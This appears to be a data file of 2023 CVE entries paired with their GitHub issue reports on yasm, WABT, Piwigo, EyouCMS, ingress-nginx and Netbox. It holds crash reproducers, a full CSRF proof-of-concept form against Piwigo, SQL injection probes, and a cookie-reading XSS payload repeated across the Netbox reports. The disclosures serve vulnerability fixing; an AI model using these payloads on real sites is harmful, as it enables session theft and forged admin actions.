# There exists heap-use-after-free in yasm/modules/preprocs/nasm/nasm-pp.c:3878 in expand_mmac_params ## asan info: ``` ==708699==ERROR: AddressSanitizer: heap-use-after-free on address 0x60e0000012a8 at pc 0x55647c385147 bp 0x7ffe09f5d870 sp 0x7ffe09f5d860 READ of size 8 at 0x60e0000012a8 thread T0 #0 0x55647c385146 in expand_mmac_params modules/preprocs/nasm/nasm-pp.c:3878 #1 0x55647c38d436 in pp_getline modules/preprocs/nasm/nasm-pp.c:5078 #2 0x55647c36ac61 in nasm_preproc_get_line modules/preprocs/nasm/nasm-preproc.c:198 #3 0x55647c35f4ed in nasm_parser_parse modules/parsers/nasm/nasm-parse.c:219 #4 0x55647c35df6c in nasm_do_parse modules/parsers/nasm/nasm-parser.c:66 #5 0x55647c35e109 in nasm_parser_do_parse modules/parsers/nasm/nasm-parser.c:83 #6 0x55647c2f64d4 in do_assemble frontends/yasm/yasm.c:521 #7 0x55647c2f7281 in main frontends/yasm/yasm.c:753 #8 0x7fc63b1af082 in __libc_start_main ../csu/libc-start.c:308 #9 0x55647c2f4b9d in _start (/root/target/yasm/build_asan/bin/yasm+0xa5b9d) 0x60e0000012a8 is located 8 bytes inside of 160-byte region [0x60e0000012a0,0x60e000001340) freed by thread T0 here: #0 0x7fc63b48a40f in __interceptor_free ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:122 #1 0x55647c331974 in def_xfree libyasm/xmalloc.c:113 #2 0x55647c370a59 in free_mmacro modules/preprocs/nasm/nasm-pp.c:1163 #3 0x55647c38cc0a in pp_getline modules/preprocs/nasm/nasm-pp.c:5009 #4 0x55647c36ac61 in nasm_preproc_get_line modules/preprocs/nasm/nasm-preproc.c:198 #5 0x55647c35f4ed in nasm_parser_parse modules/parsers/nasm/nasm-parse.c:219 #6 0x55647c35df6c in nasm_do_parse modules/parsers/nasm/nasm-parser.c:66 #7 0x55647c35e109 in nasm_parser_do_parse modules/parsers/nasm/nasm-parser.c:83 #8 0x55647c2f64d4 in do_assemble frontends/yasm/yasm.c:521 #9 0x55647c2f7281 in main frontends/yasm/yasm.c:753 #10 0x7fc63b1af082 in __libc_start_main ../csu/libc-start.c:308 previously allocated by thread T0 here: #0 0x7fc63b48a808 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144 #1 0x55647c331857 in def_xmalloc libyasm/xmalloc.c:69 #2 0x55647c37ffc8 in do_directive modules/preprocs/nasm/nasm-pp.c:3211 #3 0x55647c38d446 in pp_getline modules/preprocs/nasm/nasm-pp.c:5083 #4 0x55647c36ac61 in nasm_preproc_get_line modules/preprocs/nasm/nasm-preproc.c:198 #5 0x55647c35f4ed in nasm_parser_parse modules/parsers/nasm/nasm-parse.c:219 #6 0x55647c35df6c in nasm_do_parse modules/parsers/nasm/nasm-parser.c:66 #7 0x55647c35e109 in nasm_parser_do_parse modules/parsers/nasm/nasm-parser.c:83 #8 0x55647c2f64d4 in do_assemble frontends/yasm/yasm.c:521 #9 0x55647c2f7281 in main frontends/yasm/yasm.c:753 #10 0x7fc63b1af082 in __libc_start_main ../csu/libc-start.c:308 SUMMARY: AddressSanitizer: heap-use-after-free modules/preprocs/nasm/nasm-pp.c:3878 in expand_mmac_params Shadow bytes around the buggy address: 0x0c1c7fff8200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c1c7fff8210: 00 00 00 00 fa fa fa fa fa fa fa fa 00 00 00 00 0x0c1c7fff8220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c1c7fff8230: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd 0x0c1c7fff8240: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa =>0x0c1c7fff8250: fa fa fa fa fd[fd]fd fd fd fd fd fd fd fd fd fd 0x0c1c7fff8260: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa 0x0c1c7fff8270: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c1c7fff8280: fd fd fd fd fa fa fa fa fa fa fa fa fd fd fd fd 0x0c1c7fff8290: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c1c7fff82a0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==708699==ABORTING ``` ## Command Input: ./yasm poc-file [poc-file.zip](https://github.com/yasm/yasm/files/11253102/poc-file.zip) poc-file is attached. ## Environment OS: Ubuntu 20.04.1 yasm: 1.3.0.55.g101bc (git clone [[email protected]](mailto:[email protected]):yasm/yasm.git , and compile it) compile yasm with asan: ./autogen.sh make distclean ./configure --prefix=$PWD/build_asan make CC=gcc CXX=g++ CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" CXXFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" make install

There exists heap-use-after-free in yasm/modules/preprocs/nasm/nasm-pp.c:3878 in expand_mmac_params

https://api.github.com/repos/yasm/yasm/issues/221/comments

2023-04-17T16:39:42Z

2024-03-22T11:51:42Z

https://github.com/yasm/yasm/issues/221

CVE-2023-27233

2023-05-17T20:15:09.933

Piwigo before 13.6.0 was discovered to contain a SQL injection vulnerability via the order[0][dir] parameter at user_list_backend.php.

https://github.com/Piwigo/Piwigo/issues/1872

github.com

Without entering too much into details there is a possible SQL injection in file `admin/user_list_backend.php`. This file has no reason to be still in Piwigo since version 12 and the new user manager (which relies on `ws.php` as backend). This file must simply be removed.

[13.x] SQL injection on user_list_backend.php

https://api.github.com/repos/Piwigo/Piwigo/issues/1872/comments

2023-02-24T08:42:01Z

2023-02-24T08:42:44Z

https://github.com/Piwigo/Piwigo/issues/1872

CVE-2023-31670

2023-05-23T01:15:09.917

An issue in wasm2c 1.0.32, wasm2wat 1.0.32, wasm-decompile 1.0.32, and wasm-validate 1.0.32 allows attackers to cause a Denial of Service (DoS) via running a crafted binary.

https://github.com/WebAssembly/wabt/issues/2199

github.com

### Describe the bug Certain wasm binary causes `wasm2wat`, `wasm2c`, `wasm-decompile`, and `wasm-validate` to crash. `--version` (for all of them): 1.0.32 (git~1.0.32-57-gad5f1385) _________________ ### Steps to reproduce The following `wasm` module causes a crash: [crash.wasm.txt](https://github.com/WebAssembly/wabt/files/11230092/crash.wasm.txt) (Remove .txt extension and save as .wasm) * Install and build WABT * Run `wasm2c`, `wasm2wat`, `wasm-decompile` and `wasm-validate` on the test file: crash.wasm * Observe the crash: ``` Assertion failed: (!empty()), function back, file intrusive-list.h, line 400. zsh: abort ./wabt/bin/wasm2c crash.wasm ``` ``` wasm-validate: /path/to/wabt/include/wabt/intrusive-list.h:400: wabt::intrusive_list<T>::value_type& wabt::intrusive_list<T>::back() [with T = wabt::Expr; wabt::intrusive_list<T>::reference = wabt::Expr&]: Assertion `!empty()' failed. Aborted ``` ______________ ### Expected behavior: Expected behavior should be an error like the one `wasm-interp` provides: `wasm-interp crash.wasm`: ``` crash.wasm:0000038: error: invalid initializer: instruction not valid in initializer expression: unreachable 0000038: error: OnUnreachableExpr callback failed ``` Because the tools crashed I could not analyze deeper to find the root cause. `wasm-objdump -d crash.wasm`: ``` 000065 func[1]: 000066: 01 7f | local[0] type=i32 000068: 01 7e | local[1] type=i64 00006a: 01 7d | local[2] type=f32 00006c: 01 7c | local[3] type=f64 00006e: 01 7f | local[4] type=i32 000070: 41 b0 03 | i32.const 432 000073: 2d 00 41 | i32.load8_u 0 65 000076: 64 | f64.gt 000077: fd 48 | f64x2.ne 000079: 48 | i32.lt_s 00007a: 48 | i32.lt_s 00007b: 48 | i32.lt_s 00007c: 48 | i32.lt_s 00007d: 48 | i32.lt_s 00007e: 48 | i32.lt_s 00007f: 48 | i32.lt_s 000080: 48 | i32.lt_s 000081: 48 | i32.lt_s 000082: 48 | i32.lt_s 000083: b7 | f64.convert_i32_s 000084: 48 | i32.lt_s 000085: 48 | i32.lt_s 000086: 8d | f32.ceil 000087: 48 | i32.lt_s 000088: 48 | i32.lt_s 000089: 48 | i32.lt_s 00008a: 48 | i32.lt_s 00008b: 48 | i32.lt_s 00008c: aa | i32.trunc_f64_s 00008d: 71 | i32.and 00008e: bc | i32.reinterpret_f32 00008f: 0b | end ``` _______________ ### Additional information A combination of afl-fuzz++4.03a and Wasmlike, an Xsmith-based random program generator produced the wasm module that caused the crash.

Certain wasm binary causes `wasm2wat`, `wasm2c`, `wasm-decompile`, and `wasm-validate` to crash.

https://api.github.com/repos/WebAssembly/wabt/issues/2199/comments

2023-04-14T07:36:31Z

2023-05-10T00:46:32Z

https://github.com/WebAssembly/wabt/issues/2199

CVE-2023-31708

2023-05-23T01:15:09.960

A Cross-Site Request Forgery (CSRF) in EyouCMS v1.6.2 allows attackers to execute arbitrary commands via a supplying a crafted HTML file to the Upload software format function.

https://github.com/weng-xianhu/eyoucms/issues/41

github.com

let's see the operation： First,we should add the js and html in "Upload software format" . Second,we clicked the submit,and use Burp suite to Intercept the packet. <img width="1251" alt="屏幕截图 2023-04-16 170400" src="https://user-images.githubusercontent.com/60973265/232288495-074b92f6-7789-4a20-879d-ef7fd31a3a08.png"> Third,we use the csrf tools in burp suite profession to create CSRF poc <img width="1255" alt="屏幕截图 2023-04-16 170911" src="https://user-images.githubusercontent.com/60973265/232288806-95284794-f2cc-4e49-90b3-056669a29773.png"> Put the poc into an html file and send it to the victim,when the administrator clicke the page ,this means we can upload the js/html file. Fourth,When we use the administrator account to delete the administrator account, or delete the article, use burp suite to capture the package, make csrf poc   Fifth,We need a low permission account to publish the article, then put the two produced POCs into the html file, and then into the attachment  When the administrator opens this attachment, the article and possibly the administrator are deleted, and this is not restricted by browser security This is the code in question  Solution: Add the token authentication

Three csrf vulnerabilities, you can modify Settings, you can delete articles, you can delete users

https://api.github.com/repos/weng-xianhu/eyoucms/issues/41/comments

2023-04-16T10:54:52Z

2024-03-22T06:50:30Z

https://github.com/weng-xianhu/eyoucms/issues/41

CVE-2023-31669

2023-05-23T12:15:09.173

WebAssembly wat2wasm v1.0.32 allows attackers to cause a libc++abi.dylib crash by putting '@' before a quote (").

https://github.com/WebAssembly/wabt/issues/2165

github.com

### Describe the bug '@' before a quote (") causes a libc++abi.dylib crash while converting ".wat" format into ".wasm" format using wat2wasm. `wat2wasm --version`: 1.0.32 (git~1.0.32-35-g9990b0cf) --------------- The following minimized code causes wat2wasm to crash. ``` (module (memory $mem 1) ;;(@_memory " (memory $mem)) ;; Space in between '@' and '"' avoids crash ;; A comment below the next line containing a '"' will also avoid a crash (@_memory" (memory $mem)) (func $main (export "_main") (result i32) i32.const 21)) ``` Absolute minimum example: ``` (@" ``` --------------- ### Steps to reproduce: Here are the test files: (Remove ".txt" and save them ".wat" files) [wabt_crash.wat.txt](https://github.com/WebAssembly/wabt/files/10936843/wabt_crash.wat.txt) [wabt_crash_min.wat.txt](https://github.com/WebAssembly/wabt/files/10936844/wabt_crash_min.wat.txt) * Install and build WABT * Run wat2wasm on the test file: `wat2wasm wabt_crash.wat` and `wat2wasm wabt_crash_min.wat` * Observe the crash: ``` libc++abi.dylib: terminating with uncaught exception of type std::length_error: basic_string [1] 4522 abort wat2wasm wabt_crash.wat ``` --------------- ### Expected Behavior: Expected output should be an error (like the one below) produced by ` wat2wasm` instead of a crash. For example, if the test file replaces the '@' with a '*', `wat2wasm` gives the expected error below when run with `wat2wasm expected.wat`, which points out the missing end quote. ``` expected.wat:4:29: error: newline in string (*_memory" (memory $mem)) ^ expected.wat:5:9: error: newline in string (func ^ expected.wat:6:10: error: newline in string $main ^ expected.wat:7:21: error: newline in string (export "_main") ^ expected.wat:8:17: error: newline in string (result i32) ^ expected.wat:9:19: error: newline in string i32.const 21)) ^ expected.wat:4:4: error: unexpected token (, expected ). (*_memory" (memory $mem)) ``` --------------------- ### Additional information A combination of afl-fuzz++4.03a and Wasmlike, an Xsmith-based random program generator produced the snippet of code that caused the crash. https://www.flux.utah.edu/project/xsmith ---------------

'@' before a quote (") causes a libc++abi.dylib crash using wat2wasm.

https://api.github.com/repos/WebAssembly/wabt/issues/2165/comments

2023-03-09T23:07:30Z

2023-06-17T09:47:53Z

https://github.com/WebAssembly/wabt/issues/2165

CVE-2023-33359

2023-05-23T14:15:09.813

Piwigo 13.6.0 is vulnerable to Cross Site Request Forgery (CSRF) in the "add tags" function.

https://github.com/Piwigo/Piwigo/issues/1908

github.com

This vulnerability lies in the 'add tags' function in the backend.  Try creating a new label here.  Use burpsuite to intercept this request.  You can see that CSRF-Token does not exist here,So we can generate a CSRF POC.  Execute this poc,note that there are no tags here at this time   After executing the POC, it was found that there were new tags added   //CSRF POC: `<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://localhost/piwigo/ws.php?format=json&method=pwg.tags.add" method="POST"> <input type="hidden" name="name" value="test" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ` Of course, only one CSRF vulnerability is not serious. Next, I will demonstrate the possibility of combining it with XSS vulnerabilities for exploitation

There is a CSRF vulnerability in the "add tags" function of piwigo

https://api.github.com/repos/Piwigo/Piwigo/issues/1908/comments

2023-05-01T04:58:37Z

2023-05-05T08:07:10Z

https://github.com/Piwigo/Piwigo/issues/1908

CVE-2023-33361

2023-05-23T14:15:09.863

Piwigo 13.6.0 is vulnerable to SQL Injection via /admin/permalinks.php.

https://github.com/Piwigo/Piwigo/issues/1910

github.com

Before replicating this vulnerability, you need to first create a new album and access the "photos_add" function, and choose to create a new album  //like this  Then,accessing permalinks functionality  click this  Select the album you just created and use 'burp' to intercept this request  You can see this' cat_id 'parameter, which is where SQL injection exists  We are trying to add a single quotation mark to trigger an error in MySQL  We can also directly try using the sleep () function to trigger a delay  It is not difficult to find that there is an SQL injection here. Next, we will analyze this problem from the code level. The vulnerability arises from '/admin/permalinks.php' //Start Here  In our data package, we passed in the "set_permalink" and “cat_ Id"parameter, and "cat_id"is greater than 0, so we can enter this if branch  Then, because we passed in the 'permalink' parameter, we actually entered the internal else branch  Then we try to analyze the set_cat_permalink() function.（In /admin/include/functions_permalinks.php）  In the end, we can find this SQL statement, where '$cat_id' is passed directly into the SQL statement without any filtering.It is precisely this location that caused SQL injection  This vulnerability exists in version 13.6.0, and it is uncertain whether this issue exists in earlier versions

There is a SQL Injection in the "permalinks" function of piwigo

https://api.github.com/repos/Piwigo/Piwigo/issues/1910/comments

2023-05-03T06:02:27Z

2023-05-05T08:24:43Z

https://github.com/Piwigo/Piwigo/issues/1910

CVE-2023-33362

2023-05-23T14:15:09.917

Piwigo 13.6.0 is vulnerable to SQL Injection via in the "profile" function.

https://github.com/Piwigo/Piwigo/issues/1911

github.com

Accessing the 'profile' page  Add the 'user_id' parameter with single quotes  Discovering an error in MySQL can actually prove the existence of SQL injection, but we can still try using the sleep() function for testing   //Try to analyze how this vulnerability was generated from a code level perspective.  First find '/admin/profile.php'  Track build_user() function (in the /Piwigo/include/functions_user.inc.php)  The '$user_id' enters the getuserdata() function, so continue tracking getuserdata()  Finally, the '$user_id' variable will enter this string of SQL statements, which clearly does not filter the incoming parameter values, resulting in SQL injection  This vulnerability affects the latest version up to 13.6.0, and it is uncertain whether other versions will be affected.

There is a SQL Injection in the "profile" function of piwigo

https://api.github.com/repos/Piwigo/Piwigo/issues/1911/comments

2023-05-04T12:22:34Z

2023-05-05T08:25:03Z

https://github.com/Piwigo/Piwigo/issues/1911

CVE-2021-25748

2023-05-24T17:15:09.253

A security issue was discovered in ingress-nginx where a user that can create or update ingress objects can use a newline character to bypass the sanitization of the `spec.rules[].http.paths[].path` field of an Ingress object (in the `networking.k8s.io` or `extensions` API group) to obtain the credentials of the ingress-nginx controller. In the default configuration, that credential has access to all secrets in the cluster.

https://github.com/kubernetes/ingress-nginx/issues/8686

github.com

### Issue Details A security issue was discovered in [ingress-nginx](https://github.com/kubernetes/ingress-nginx) where a user that can create or update ingress objects can use a newline character to bypass the sanitization of the `spec.rules[].http.paths[].path` field of an Ingress object (in the `networking.k8s.io` or `extensions` API group) to obtain the credentials of the ingress-nginx controller. In the default configuration, that credential has access to all secrets in the cluster. This issue has been rated High ([CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L)), and assigned CVE-2021-25748. ### Affected Components and Configurations This bug affects ingress-nginx. If you do not have ingress-nginx installed on your cluster, you are not affected. You can check this by running `kubectl get po -n ingress-nginx`. If you are running the “chrooted” ingress-nginx controller introduced in v1.2.0 (gcr.io/k8s-staging-ingress-nginx/controller-chroot), you are not affected. Multitenant environments where non-admin users have permissions to create Ingress objects are most affected by this issue. #### Affected Versions <v1.2.1 #### Fixed Versions v1.2.1 ### Mitigation If you are unable to roll out the fix, this vulnerability can be mitigated by implementing an admission policy that restricts the `spec.rules[].http.paths[].path` field on the networking.k8s.io/Ingress resource to known safe characters (see the newly added [rules](https://github.com/kubernetes/ingress-nginx/blame/main/internal/ingress/inspector/rules.go), or the suggested value for [annotation-value-word-blocklist](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#annotation-value-word-blocklist)). ### Detection If you find evidence that this vulnerability has been exploited, please contact [[email protected]](mailto:[email protected]) ### Additional Details See ingress-nginx Issue [#8686](https://github.com/kubernetes/ingress-nginx/issues/8686) for more details. ### Acknowledgements This vulnerability was reported by Gafnit Amiga. Thank You, CJ Cullen on behalf of the Kubernetes Security Response Committee

CVE-2021-25748: Ingress-nginx `path` sanitization can be bypassed with newline character

https://api.github.com/repos/kubernetes/ingress-nginx/issues/8686/comments

2022-06-10T16:01:41Z

2022-06-15T16:58:15Z

https://github.com/kubernetes/ingress-nginx/issues/8686

CVE-2023-33785

2023-05-24T20:15:10.210

A stored cross-site scripting (XSS) vulnerability in the Create Rack Roles (/dcim/rack-roles/) function of Netbox v3.5.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.

https://github.com/anhdq201/netbox/issues/8

github.com

# Version: 3.5.1 # Description An authenticated malicious user can take advantage of a Stored XSS vulnerability in "Create Rack Roles" function in the "Organization" feature. # Proof of Concept **Step 1:** Go to `/dcim/rack-roles/`, click "Add" and insert payload "`<img src=1 onerror='alert(document.cookie)'/>`" in "Name" field. ---  --- **Step 2:** Go to `/dcim/racks/`, click "Add" and select "Role" ---  --- **Step 3: Script excuted ---  --- # Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user.

Stored Cross Site Scripting Vulnerability in "Create Rack Roles" function in Netbox 3.5.1

https://api.github.com/repos/anhdq201/netbox/issues/8/comments

2023-05-18T16:20:48Z

2023-05-18T16:20:48Z

https://github.com/anhdq201/netbox/issues/8

CVE-2023-33786

2023-05-24T20:15:10.263

A stored cross-site scripting (XSS) vulnerability in the Create Circuit Types (/circuits/circuit-types/) function of Netbox v3.5.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.

https://github.com/anhdq201/netbox/issues/2

github.com

# Version: 3.5.1 # Description An authenticated malicious user can take advantage of a Stored XSS vulnerability in "Create Circuit Types" function in the "Circuits" feature. # Proof of Concept **Step 1:** Go to `/circuits/circuit-types/`, click "Add" and insert payload "`<img src=1 onerror='alert(document.cookie)'/>`" in "Name" field. ---  --- **Step 2:** Go to `/circuits/circuits/`, click "Add" and select "Type" ---  --- **Step 3: Script excuted ---  --- # Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user.

Stored Cross Site Scripting Vulnerability in "Create Circuit Types" function in Netbox 3.5.1

https://api.github.com/repos/anhdq201/netbox/issues/2/comments

2023-05-18T15:09:47Z

2023-05-18T15:25:56Z

https://github.com/anhdq201/netbox/issues/2

CVE-2023-33787

2023-05-24T20:15:10.317

A stored cross-site scripting (XSS) vulnerability in the Create Tenant Groups (/tenancy/tenant-groups/) function of Netbox v3.5.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.

https://github.com/anhdq201/netbox/issues/6

github.com

# Version: 3.5.1 # Description An authenticated malicious user can take advantage of a Stored XSS vulnerability in "Create Tenant Groups" function in the "Organization" feature. # Proof of Concept **Step 1:** Go to `/tenancy/tenant-groups/`, click "Add" and insert payload "`<img src=1 onerror='alert(document.cookie)'/>`" in "Name" field. ---  --- **Step 2:** Go to `/dcim/sites/`, click "Add" and select "Tenant group" ---  --- **Step 3: Script excuted ---  --- # Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user.

Stored Cross Site Scripting Vulnerability in "Create Tenant Groups" function in Netbox 3.5.1

https://api.github.com/repos/anhdq201/netbox/issues/6/comments

2023-05-18T16:08:05Z

2023-05-18T16:08:05Z

https://github.com/anhdq201/netbox/issues/6

CVE-2023-33788

2023-05-24T20:15:10.373

A stored cross-site scripting (XSS) vulnerability in the Create Providers (/circuits/providers/) function of Netbox v3.5.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.

https://github.com/anhdq201/netbox/issues/3

github.com

# Version: 3.5.1 # Description An authenticated malicious user can take advantage of a Stored XSS vulnerability in "Create Providers" function in the "Circuits" feature. # Proof of Concept **Step 1:** Go to `/circuits/providers/`, click "Add" and insert payload "`<img src=1 onerror='alert(document.cookie)'/>`" in "Name" field. ---  --- **Step 2:** Go to `/circuits/provider-accounts/`, click "Add" and select "Provider" ---  --- **Step 3: Script excuted ---  --- # Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user.

Stored Cross Site Scripting Vulnerability in "Create Providers" function in Netbox 3.5.1

https://api.github.com/repos/anhdq201/netbox/issues/3/comments

2023-05-18T15:18:30Z

2023-05-18T15:25:34Z

https://github.com/anhdq201/netbox/issues/3

CVE-2023-33789

2023-05-24T20:15:10.430

A stored cross-site scripting (XSS) vulnerability in the Create Contact Groups (/tenancy/contact-groups/) function of Netbox v3.5.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.

https://github.com/anhdq201/netbox/issues/7

github.com

# Version: 3.5.1 # Description An authenticated malicious user can take advantage of a Stored XSS vulnerability in "Create Contact Groups" function in the "Organization" feature. # Proof of Concept **Step 1:** Go to `/tenancy/contact-groups/`, click "Add" and insert payload "`<img src=1 onerror='alert(document.cookie)'/>`" in "Name" field. ---  --- **Step 2:** Go to `/tenancy/contacts/`, click "Add" and select "Group" ---  --- **Step 3: Script excuted ---  --- # Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user.

Stored Cross Site Scripting Vulnerability in "Create Contact Groups" function in Netbox 3.5.1

https://api.github.com/repos/anhdq201/netbox/issues/7/comments

2023-05-18T16:12:20Z

2023-05-18T16:12:20Z

https://github.com/anhdq201/netbox/issues/7

CVE-2023-33790

2023-05-24T20:15:10.487

A stored cross-site scripting (XSS) vulnerability in the Create Locations (/dcim/locations/) function of Netbox v3.5.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.

https://github.com/anhdq201/netbox/issues/9

github.com

# Version: 3.5.1 # Description An authenticated malicious user can take advantage of a Stored XSS vulnerability in "Create Locations" function in the "Organization" feature. # Proof of Concept **Step 1:** Go to `/dcim/locations/`, click "Add" and insert payload "`<img src=1 onerror='alert(document.cookie)'/>`" in "Name" field. ---  --- **Step 2:** Go to `/dcim/racks/`, click "Add" and select "Location" ---  --- **Step 3: Script excuted ---  --- # Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user.

Stored Cross Site Scripting Vulnerability in "Create Locations" function in Netbox 3.5.1

https://api.github.com/repos/anhdq201/netbox/issues/9/comments

2023-05-18T16:26:30Z

2023-05-18T16:30:19Z

https://github.com/anhdq201/netbox/issues/9

CVE-2023-33791

2023-05-24T20:15:10.543

A stored cross-site scripting (XSS) vulnerability in the Create Provider Accounts (/circuits/provider-accounts/) function of Netbox v3.5.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.

https://github.com/anhdq201/netbox/issues/4

github.com

# Version: 3.5.1 # Description An authenticated malicious user can take advantage of a Stored XSS vulnerability in "Create Provider Accounts" function in the "Circuits" feature. # Proof of Concept **Step 1:** Go to `/circuits/provider-accounts/`, click "Add" and insert payload "`<img src=1 onerror='alert(document.cookie)'/>`" in "Account ID" field. ---  --- **Step 2:** Go to `/circuits/circuits/`, click "Add" and select "Provider account" ---  --- **Step 3: Script excuted ---  --- # Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user.

Stored Cross Site Scripting Vulnerability in "Create Provider Accounts" function in Netbox 3.5.1

https://api.github.com/repos/anhdq201/netbox/issues/4/comments

2023-05-18T15:25:19Z

2023-05-18T15:25:19Z

https://github.com/anhdq201/netbox/issues/4

CVE-2023-33792

2023-05-24T20:15:10.607

A stored cross-site scripting (XSS) vulnerability in the Create Site Groups (/dcim/site-groups/) function of Netbox v3.5.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.

https://github.com/anhdq201/netbox/issues/10

github.com

# Version: 3.5.1 # Description An authenticated malicious user can take advantage of a Stored XSS vulnerability in "Create Site Groups" function in the "Organization" feature. # Proof of Concept **Step 1:** Go to `/dcim/site-groups/`, click "Add" and insert payload "`<img src=1 onerror='alert(document.cookie)'/>`" in "Name" field. ---  --- **Step 2:** Go to `/dcim/sites/`, click "Add" and select "Group" ---  --- **Step 3: Script excuted ---  --- # Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user.

Stored Cross Site Scripting Vulnerability in "Create Site Groups" function in Netbox 3.5.1

https://api.github.com/repos/anhdq201/netbox/issues/10/comments

2023-05-18T16:29:59Z

2023-05-18T16:29:59Z

https://github.com/anhdq201/netbox/issues/10

CVE-2023-33793

2023-05-24T20:15:10.663

A stored cross-site scripting (XSS) vulnerability in the Create Power Panels (/dcim/power-panels/) function of Netbox v3.5.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.

https://github.com/anhdq201/netbox/issues/1

github.com

# Version: 3.5.1 # Description An authenticated malicious user can take advantage of a Stored XSS vulnerability in "Create Power Panels" function in the "Power" feature. # Proof of Concept **Step 1:** Go to `/dcim/power-panels/`, click "Add" and insert payload "`<img src=1 onerror='alert(document.cookie)'/>`" in "Name" field. ---  --- **Step 2:** Go to `/dcim/power-feeds/`, click "Add" and select "Power panel" ---  --- **Step 3: Script excuted ---  --- # Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user.

Stored Cross Site Scripting Vulnerability in "Create Power Panels" function in Netbox 3.5.1

https://api.github.com/repos/anhdq201/netbox/issues/1/comments

2023-05-18T15:04:10Z

2023-05-18T15:26:12Z

https://github.com/anhdq201/netbox/issues/1

CVE-2023-33794

2023-05-24T20:15:10.717

A stored cross-site scripting (XSS) vulnerability in the Create Tenants (/tenancy/tenants/) function of Netbox v3.5.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.

https://github.com/anhdq201/netbox/issues/5

github.com

# Version: 3.5.1 # Description An authenticated malicious user can take advantage of a Stored XSS vulnerability in "Create Tenants" function in the "Organization" feature. # Proof of Concept **Step 1:** Go to `/tenancy/tenants/`, click "Add" and insert payload "`<img src=1 onerror='alert(document.cookie)'/>`" in "Name" field. ---  --- **Step 2:** Go to `/dcim/sites/`, click "Add" and select "Tenant" ---  --- **Step 3: Script excuted ---  --- # Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user.

Stored Cross Site Scripting Vulnerability in "Create Tenants" function in Netbox 3.5.1

https://api.github.com/repos/anhdq201/netbox/issues/5/comments

2023-05-18T16:03:50Z

2023-05-18T16:03:50Z

https://github.com/anhdq201/netbox/issues/5

CVE-2023-33795

2023-05-24T20:15:10.773

A stored cross-site scripting (XSS) vulnerability in the Create Contact Roles (/tenancy/contact-roles/) function of Netbox v3.5.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.

https://github.com/anhdq201/netbox/issues/15

github.com

# Version: 3.5.1 # Description An authenticated malicious user can take advantage of a Stored XSS vulnerability in "Create Contacts" function in the "Organization" feature. # Proof of Concept **Step 1:** Go to `/tenancy/contact-roles/`, click "Add" and insert payload "`<img src=1 onerror='alert(document.cookie)'/>`" in "Name" field. ---  --- **Step 2:** Go to `/tenancy/contact-assignments/`, Select one element and click "Edit Selected", after select "Role" ---   --- **Step 3: Script excuted ---  --- # Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user.

Stored Cross Site Scripting Vulnerability in "Create Contact Roles" function in Netbox 3.5.1

https://api.github.com/repos/anhdq201/netbox/issues/15/comments

2023-05-18T16:44:45Z

2023-05-18T16:44:45Z

https://github.com/anhdq201/netbox/issues/15

CVE-2023-33796

2023-05-24T20:15:10.827

A vulnerability in Netbox v3.5.1 allows unauthenticated attackers to execute queries against the GraphQL database, granting them access to sensitive data stored in the database. NOTE: the vendor disputes this because the reporter's only query was for the schema of the API, which is public; queries for database objects would have been denied.

https://github.com/anhdq201/netbox/issues/16

github.com

